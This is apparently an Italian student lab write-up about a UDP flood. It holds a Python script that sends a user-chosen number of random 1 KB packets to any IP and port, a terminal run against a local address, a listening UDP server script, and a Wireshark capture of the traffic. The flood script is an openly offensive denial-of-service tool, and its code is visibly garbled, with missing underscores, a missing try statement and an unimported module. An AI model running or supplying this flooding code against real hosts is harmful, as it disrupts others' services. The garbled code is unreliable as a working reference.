## **UDP Flood:**

Questo è lo script in .py di per inviare i pacchetti:

```
import socket
def udp flood(target ip, target port, num packets):
   client = socket.socket(socket.AF INET, socket.SOCK DGRAM)
   packet size = 1024 · # · 1 · KB
   packet = random._urandom(packet_size)
   print(f"Inviando {num packets} pacchetti a {target ip}:{target port}")
    for i in range(num packets):
           client.sendto(packet, (target ip, target port))
           print(f"Pacchetto {i+1} inviato")
       except Exception as e:
           print(f"Errore durante l'invio del pacchetto {i+1}: {e}")
    client.close()
   print("Attacco completato")
if name == " main ":
   target ip = input("Inserisci l'IP target: ")
   target_port = int(input("Inserisci la porta target: "))
   num packets = int(input("Inserisci il numero di pacchetti da inviare: "))
   udp_flood(target_ip, target_port, num_packets)
```

Invio dei pacchetti su IP-PORTA-NUM (quantità di pacchetti inviati) da terminale.

```
-(lelo®lelo)-[~/Desktop/Python]
 💲 python3 S3-L5_MIO
Inserisci l'IP target: 10.0.2.15
Inserisci la porta target: 44444
Inserisci il numero di pacchetti da inviare: 50
Inviando 50 pacchetti a 10.0.2.15:44444
Pacchetto 1 inviato
Pacchetto 2 inviato
Pacchetto 3 inviato
Pacchetto 4 inviato
Pacchetto 5 inviato
Pacchetto 6 inviato
Pacchetto 7 inviato
Pacchetto 8 inviato
Pacchetto 9 inviato
Pacchetto 10 inviato
Pacchetto 11 inviato
Pacchetto 12 inviato
Pacchetto 13 inviato
Pacchetto 14 inviato
Pacchetto 15 inviato
Pacchetto 16 inviato
Pacchetto 17 inviato
Pacchetto 18 inviato
```

## **SERVER:**

Questo lo script per il server in ascolto:

```
#!/usr/bin/env python3
import socket
def start_udp_server(SRV_ADDR, SRV_PORT):
   # Creazione del socket UDP
   udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
   udp_socket.bind((SRV_ADDR, SRV_PORT))
   print(f"Server UDP in ascolto su {SRV_ADDR}:{SRV_PORT}")
   while True:
       # Ricezione dei dati dal client
       data, client_address = udp_socket.recvfrom(1024)
       print(f"Messaggio ricevuto da {client_address}: {data}")
       # Invia una risposta di conferma al client
       response = "Messaggio ricevuto"
       udp_socket.sendto(response.encode('utf-8'), client_address)
if name == " main ":
   SRV_ADDR = "10.0.2.15" # Indirizzo IP su cui il server ascolterà
   SRV_PORT = 44444
                           # Porta su cui il server ascolterà
   start_udp_server(SRV_ADDR, SRV_PORT)
```

Risposta del server dei pacchetti inviati:

## **WIRESHARK:**

Messo su any per leggere i pacchetti UDP in transito:

80 0.001112125	10.0.2.15	10.0.2.15	ICMP	592 Destination unreachable (Port unreachable)
81 0.0011121244	10.0.2.15	10.0.2.15	UDP	1068 55725 → 44444 Len=1024
82 0.001125264	10.0.2.15	10.0.2.15	ICMP	592 Destination unreachable (Port unreachable)
83 0.001134894	10.0.2.15	10.0.2.15	UDP	1068 55725 → 44444 Len=1024
84 0.001138824	10.0.2.15	10.0.2.15	ICMP	592 Destination unreachable (Port unreachable)
85 0.001147803	10.0.2.15	10.0.2.15	UDP	1068 55725 → 44444 Len=1024
86 0.001152003	10.0.2.15	10.0.2.15	ICMP	592 Destination unreachable (Port unreachable)
87 0.001160823	10.0.2.15	10.0.2.15	UDP	1068 55725 → 44444 Len=1024
88 0.001164843	10.0.2.15	10.0.2.15	ICMP	592 Destination unreachable (Port unreachable)
89 0.001174653	10.0.2.15	10.0.2.15	UDP	1068 55725 → 44444 Len=1024
90 0.001178653	10.0.2.15	10.0.2.15	ICMP	592 Destination unreachable (Port unreachable)
91 0.001272210	10.0.2.15	10.0.2.15	UDP	1068 55725 → 44444 Len=1024
92 0.001278779	10.0.2.15	10.0.2.15	ICMP	592 Destination unreachable (Port unreachable)
93 0.001296459	10.0.2.15	10.0.2.15	UDP	1068 55725 → 44444 Len=1024
94 0.001300589	10.0.2.15	10.0.2.15	ICMP	592 Destination unreachable (Port unreachable)
95 0.001310198	10.0.2.15	10.0.2.15	UDP	1068 55725 → 44444 Len=1024
96 0.001314098	10.0.2.15	10.0.2.15	ICMP	592 Destination unreachable (Port unreachable)
97 0.001362157	10.0.2.15	10.0.2.15	UDP	1068 55725 → 44444 Len=1024
98 0.001368426	10.0.2.15	10.0.2.15	ICMP	592 Destination unreachable (Port unreachable)
99 0.001386676	10.0.2.15	10.0.2.15	UDP	1068 55725 → 44444 Len=1024
100 0.001390806	10.0.2.15	10.0.2.15	ICMP	592 Destination unreachable (Port unreachable)